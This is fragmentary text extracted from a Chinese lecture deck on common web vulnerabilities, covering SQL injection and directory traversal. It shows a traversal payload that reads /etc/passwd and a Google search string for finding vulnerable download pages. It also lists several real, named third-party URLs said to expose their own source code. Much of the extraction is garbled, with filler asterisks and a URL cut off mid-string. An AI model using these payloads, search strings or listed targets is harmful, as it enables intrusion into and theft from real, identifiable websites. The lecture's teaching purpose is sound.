02常见Web安全漏洞讲义.ppt

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 可知存在表admin_user * 可知存在字段admin * 可知存在字段admin和password * 可知存在字段admin和password * * * * * * * * * * * * * * * * * 目录遍历之案例（续） Step 4：构造参数/../../../../../../../../../etc/passwd拿到etc/passwd 共享优质文章 内容仅供学习 目录遍历之案例（续） Step 5：进一步的攻击，Google搜索 inurl:download.jsp?file=： 共享优质文章 内容仅供学习 目录遍历 下面这些链接都可以直接下载网站的源代码…… http://www.swscreen.co.uk/download.asp?path=/./download.asp http://webhelp.swu.ac.th/download.asp?file=download.asp /LGMazak/Sales/DownLoad/DownLoad.aspx?File=/LGMazak/Sales/DownLoad/DownLoad.aspx 21:8080/haiyou/uploa